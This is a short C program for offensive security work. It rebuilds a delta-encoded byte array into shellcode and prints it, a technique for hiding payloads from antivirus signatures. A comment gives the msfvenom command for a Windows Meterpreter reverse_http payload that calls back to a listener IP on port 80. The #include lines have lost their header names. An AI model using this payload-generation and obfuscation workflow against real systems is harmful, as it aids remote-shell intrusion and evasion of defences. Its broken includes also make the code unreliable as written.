#include #include #include int main(){ unsigned char first_byte = 0xff;unsigned char delta[41] = {0xff, 0x76, 0x8c, 0x65, 0x9b, 0x73, 0x8d, 0x74, 0x8c, 0x65, 0x9b, 0x69, 0x97, 0x6e, 0x92, 0x73, 0x8d, 0x7a, 0x86, 0x77, 0x89, 0x6f, 0x91, 0x65, 0x9b, 0x69, 0x97, 0x6e, 0x92, 0x73, 0x8d, 0x7a, 0x86, 0x77, 0x89, 0x6f, 0x91, 0x32, 0xce, 0x32, 0xce };unsigned char shellcode[42] = { 0x00 }; // msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f raw -o met.bin // python3 offset.py -i met.bin //Size of shellcode array int cap = sizeof(delta) / sizeof(delta[0]); //Setting first byte of the reconstituted array to the first byte of the payload shellcode[0] = first_byte; // keep track of our positions unsigned int delta_idx, shellcode_idx; /* Take initial byte and add the delta to it to get the second byte. Take second byte and add second delta to get third byte and so on. */ for (delta_idx = 0; delta_idx < cap; delta_idx++) { shellcode_idx = delta_idx + 1; shellcode[shellcode_idx] = shellcode[delta_idx] + delta[delta_idx]; } for (int l = 0; l < cap + 1; l++) { //Last run needs to print closing bracket and semicolon if (l == (cap)) { printf("0x%02x", shellcode[l]); } else { //Added a 1 because initial loop is true and adds a newline. This causes it to print 15 bytes and then a new line if ((l + 1) % 15 == 0) { printf("0x%02x,\n", shellcode[l]); } else { printf("0x%02x,", shellcode[l]); } } } return 0; }